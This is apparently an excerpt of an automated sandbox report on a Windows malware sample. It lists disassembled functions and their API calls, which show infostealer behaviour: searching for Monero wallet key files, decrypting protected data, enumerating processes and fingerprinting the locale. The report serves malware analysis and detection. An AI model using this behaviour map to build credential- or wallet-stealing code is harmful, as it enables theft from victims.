Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: a5b6a630293a01332c45dff8d2c113a8bc75afccd472996837025a171b4a2087
Instruction ID: ae123dd56c1a701a6c26c74561af0e80d90267a5a07031ca3cfc099b74137886
Opcode Fuzzy Hash: a5b6a630293a01332c45dff8d2c113a8bc75afccd472996837025a171b4a2087
Instruction Fuzzy Hash: 13910172910218A7CF14FBB0EC56DED737DAF95304F808658B90A96181EF34AB1D8BD2

Function 00197B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

GetKeyboardLayoutList.USER32(00000000,00000000,001A05AF), ref: 00197BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00197BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00197C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00197C62
LocalFree.KERNEL32(00000000), ref: 00197D22

Strings

/ , xrefs: 00197C7F

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: d15d5b8b62cea2fdc29ad117bb114c427d3dcf790677bc9ee59e940d0fcd60a1
Instruction ID: f018af88a49ef5a9068d57b82434224e6654cffa6ed23f164f8fd94ffe76f1ef
Opcode Fuzzy Hash: d15d5b8b62cea2fdc29ad117bb114c427d3dcf790677bc9ee59e940d0fcd60a1
Instruction Fuzzy Hash: 53413C71950218ABDF24DB94DC99FEEB7B8FF58704F604199E009A2191DB342F89CFA1

Function 0018E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,001A0D73), ref: 0018E4A2
StrCmpCA.SHLWAPI(?,001A14F8), ref: 0018E4F2
StrCmpCA.SHLWAPI(?,001A14FC), ref: 0018E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0018EBDF

Strings

\*.*, xrefs: 0018E44D

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 8edb195fbb382d904dea2f13e923bf5580a0c031c2dcffb3ee7b7559909e2342
Instruction ID: 01f938d3d88c6c8504c1cf62fbde27b519c40ca2504c86047682a15ec538f6b9
Opcode Fuzzy Hash: 8edb195fbb382d904dea2f13e923bf5580a0c031c2dcffb3ee7b7559909e2342
Instruction Fuzzy Hash: 8612FD729101189ADF19FBA0DCA6EED7379AF64300F8045A9B50A96091EF346F4DCFD2

Function 00199600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0019961E
Process32First.KERNEL32(001A0ACA,00000128), ref: 00199632
Process32Next.KERNEL32(001A0ACA,00000128), ref: 00199647
StrCmpCA.SHLWAPI(?,00000000), ref: 0019965C
CloseHandle.KERNEL32(001A0ACA), ref: 0019967A

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 6279880bcc5a49ffa76bb80c9687f2e0364dcf7ef5335652ffb21ed1a37c58d4
Instruction ID: adc9cb8e5042eac004a70b8f86abd12c172b248a5af2cd545df08257092e93cf
Opcode Fuzzy Hash: 6279880bcc5a49ffa76bb80c9687f2e0364dcf7ef5335652ffb21ed1a37c58d4
Instruction Fuzzy Hash: F601E9B5A00308ABCF15DFA5C948BEDBBF8AB48304F104188A905D6240E734AA40DF51

Function 00197A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0134DB68,00000000,?,001A0E10,00000000,?,00000000,00000000), ref: 00197A63
RtlAllocateHeap.NTDLL(00000000), ref: 00197A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0134DB68,00000000,?,001A0E10,00000000,?,00000000,00000000,?), ref: 00197A7D
wsprintfA.USER32 ref: 00197AB7

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 2989510a65102c9233bab259c3fc6829dd1543eebdb6d6e99ad9f5be9ac4b73b
Instruction ID: 7c4b45f787c31cb12092454b0351c5fe3fd1fc09acb8d20165b548c45d219222
Opcode Fuzzy Hash: 2989510a65102c9233bab259c3fc6829dd1543eebdb6d6e99ad9f5be9ac4b73b
Instruction Fuzzy Hash: 4B118EB1945618EBEB208B54DC49FA9BBB8FB04721F10479AE90A932C0C7742A40CF51

Function 00189B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00189B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00189BA3
LocalFree.KERNEL32(?), ref: 00189BD3

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 743d471f09855e6eb3990c95a152c2af012b8c93e18078244b29beb8178e9355
Instruction ID: 885d7349d893cdbf5562a98fb7b5a6f2b5816aae257d34ae5538dd04da3251cb
Opcode Fuzzy Hash: 743d471f09855e6eb3990c95a152c2af012b8c93e18078244b29beb8178e9355
Instruction Fuzzy Hash: 3C11BAB4A00209DFDB05DFA4D985EAE77B9FF88304F104558E91597350D774AE11CF61

Function 00197850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001811B7), ref: 00197880
RtlAllocateHeap.NTDLL(00000000), ref: 00197887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0019789F

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 502935c79b1425deebb18248dbec5545b184d0214493fc97e439910d00ed25ad
Instruction ID: 5951464dbdfd5740b09fd248025f777880853d5b7a628622766527b607c9d976
Opcode Fuzzy Hash: 502935c79b1425deebb18248dbec5545b184d0214493fc97e439910d00ed25ad
Instruction Fuzzy Hash: CCF04FB1D44608ABCB14DF99DD4AFAEBBBCFB05715F10025AFA05E2680C77825048BA1

Function 00181160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0018116A
ExitProcess.KERNEL32 ref: 0018117E

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 9026d71881242d1e244046c07a37a66181513476314e6c91ad835d3f0e2f47d2
Instruction ID: d84ffb9e3443963566ea380955c6e3d60ffc8e93bb40f31cdc81054c86ed5d6c
Opcode Fuzzy Hash: 9026d71881242d1e244046c07a37a66181513476314e6c91ad835d3f0e2f47d2
Instruction Fuzzy Hash: F6D0677590420C9BCB05ABE09D8DAADBB7CFB08716F101555D905A2340EA3165968BA6

Function 00199C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,013362E0), ref: 00199C2D
GetProcAddress.KERNEL32(75900000,01336620), ref: 00199C45
GetProcAddress.KERNEL32(75900000,01348CE8), ref: 00199C5E
GetProcAddress.KERNEL32(75900000,01348E80), ref: 00199C76
GetProcAddress.KERNEL32(75900000,0134C858), ref: 00199C8E
GetProcAddress.KERNEL32(75900000,0134C888), ref: 00199CA7
GetProcAddress.KERNEL32(75900000,0133AF50), ref: 00199CBF
GetProcAddress.KERNEL32(75900000,0134C930), ref: 00199CD7
GetProcAddress.KERNEL32(75900000,0134CA80), ref: 00199CF0
GetProcAddress.KERNEL32(75900000,0134CAB0), ref: 00199D08
GetProcAddress.KERNEL32(75900000,0134C8B8), ref: 00199D20
GetProcAddress.KERNEL32(75900000,01336460), ref: 00199D39
GetProcAddress.KERNEL32(75900000,01336640), ref: 00199D51
GetProcAddress.KERNEL32(75900000,01336400), ref: 00199D69
GetProcAddress.KERNEL32(75900000,01336340), ref: 00199D82
GetProcAddress.KERNEL32(75900000,0134C9A8), ref: 00199D9A
GetProcAddress.KERNEL32(75900000,0134C870), ref: 00199DB2
GetProcAddress.KERNEL32(75900000,0133AF78), ref: 00199DCB
GetProcAddress.KERNEL32(75900000,013363A0), ref: 00199DE3
GetProcAddress.KERNEL32(75900000,0134CA98), ref: 00199DFB
GetProcAddress.KERNEL32(75900000,0134C9F0), ref: 00199E14
GetProcAddress.KERNEL32(75900000,0134CAC8), ref: 00199E2C
GetProcAddress.KERNEL32(75900000,0134C9C0), ref: 00199E44
GetProcAddress.KERNEL32(75900000,01336660), ref: 00199E5D
GetProcAddress.KERNEL32(75900000,0134C960), ref: 00199E75
GetProcAddress.KERNEL32(75900000,0134C918), ref: 00199E8D
GetProcAddress.KERNEL32(75900000,0134C8A0), ref: 00199EA6
GetProcAddress.KERNEL32(75900000,0134C948), ref: 00199EBE
GetProcAddress.KERNEL32(75900000,0134CAE0), ref: 00199ED6
GetProcAddress.KERNEL32(75900000,0134C9D8), ref: 00199EEF
GetProcAddress.KERNEL32(75900000,0134C810), ref: 00199F07
GetProcAddress.KERNEL32(75900000,0134C990), ref: 00199F1F
GetProcAddress.KERNEL32(75900000,0134C8D0), ref: 00199F38
